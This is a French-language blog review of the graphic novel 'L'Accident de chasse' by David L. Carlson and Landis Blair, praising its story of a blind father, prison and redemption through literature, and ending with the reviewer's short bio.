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    Entre omerta et récit homérique, la Chasse à la cruelle vérité de la famille Rizzo

     L’Accident de chasse, David L. Carlson (scénario), Landis Blair (dessin). Editions Sonatine, 472 pages, 29 euros.

    Chicago, fin des années 50. Un jeune garçon qui vient de perdre sa mère, Charlie Rizzo, se voit contraint d’emménager avec son père, dont il a été séparé depuis sa prime enfance. De plus Matt Rizzo est aveugle, depuis qu’il a perdu la vue à la suite d’un bête accident de chasse, lors de sa jeunesse. Dans ce quartier populaire, Charlie grandit et a de mauvaises fréquentations.

    Suite à un cambriolage foireux, il voit la police débarquer chez eux. C’est alors que son père choisit de lui révéler la vraie raison de sa cécité. Lui aussi, dans l’entre-deux guerres fréquentait la mafia de Chicago. Et c’est suite à un vol ayant mal tourné qu’il s’est pris une décharge de fusil en pleine figure.

    Mais ce n’est encore là que le début d’une vérité longtemps immergée… Car dans sa prison, Matt Rizzo a connu et longtemps cohabité avec Nathan Leopold, un tueur “mythique” dans la région pour avoir, avec son amant Loeb, tué un enfant. Pur acte gratuit qui inspira d’ailleurs Hitchcock pour son film La Corde. Et c’est là, dans le double enfermement de la prison et de la cécité que Matt commencera à se libérer, grâce à la littérature et grâce à Nathan…

    Les éditions Sonatine étaient connues jusque là pour leur politique de publication de romans noirs anglo-saxons (comme le fameux Livre sans nom ou le récent et étonnant Mer sans étoiles). Pour leur première incursion dans le domaine du “Graphic Novel” ou du roman graphique, elles ont eu du nez !

    David L. Carlson, qui signe là son premier album, fait aussi des débuts assez remarquables dans le monde de la bande dessinée, avec un ouvrage difficilement classable, né de sa fréquentation de Charlie Rizzo – qui lui a raconté l’histoire familiale – mais transfiguré en une sorte de parabole tragique, entre Omerta et récit homérique…

    En près de 500 pages, cet Accident de chasse développe ainsi un récit puissant et maîtrisé de bout en bout. Inspiré de faits réels et vraie tragédie familiale, cette histoire de rédemption carcérale et d’amour paternel compliqué invite aussi La Divine Comédie de Dante ou la philosophie de Platon, mais également les propres écrits de Matt Rizzo – que l’on lit ponctuellement à travers la figure en ombre chinoise de son fils décryptant laborieusement à son tour l’écriture en braille.

    Le dessin en noir et blanc, très hachuré – parfois semblant à la limite de la carte à gratter – de Landis Blair, connu dans le milieu de la BD indépendante de Chicago, renforce cette ambiance sombre et charbonneuse, tirant parfois vers le fantastique, avec des pages cauchemardesques très évocatrices. Mais la réalité carcérale, avec l’omniprésence de la tour panoptique, et la condition de vie d’un aveugle sont aussi restitués avec une grande force.

    Une ultime révélation, épistolaire et d’une noire ironie familiale, vient encore renforcer l’aspect dramatique de ce beau récit de libération par la littérature.

    Un nouvel “OGNI” (objet graphique non identifié) vient en tout cas de débarquer d’Outre-Atlantique, dans un autre genre que Moi ce que j’aime, c’est les monstres  d’Emil Ferris – Fauve d’Or à Angoulême et Grand Prix ACBD 2019 – mais à qui on peut souhaiter, voire prédire, une même reconnaissance.

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    • Journaliste de profession, rédacteur en chef adjoint (du Courrier picard) de fonction et amateur de bande dessinée par passion, je préfère parler ici d'albums que j'apprécie (avec éclectisme) plutôt que de ceux que je n'aime pas (et qui peuvent plaire à d'autres). Et ce en toute liberté. Cet espace est aussi l'occasion d'évoquer la vie (régionale en premier lieu) de la bande dessinée et parfois au-delà celle du graphisme, du dessin de presse ou des journaux et revues en lien avec l'un ou l'autre. Précisons que la plupart des illustrations utilisées dans ce blog ont pour copyrights leurs auteurs et éditeurs respectifs. Celles-ci visant à présenter leurs œuvres. A leur demande éventuelle, elles seront retirées.

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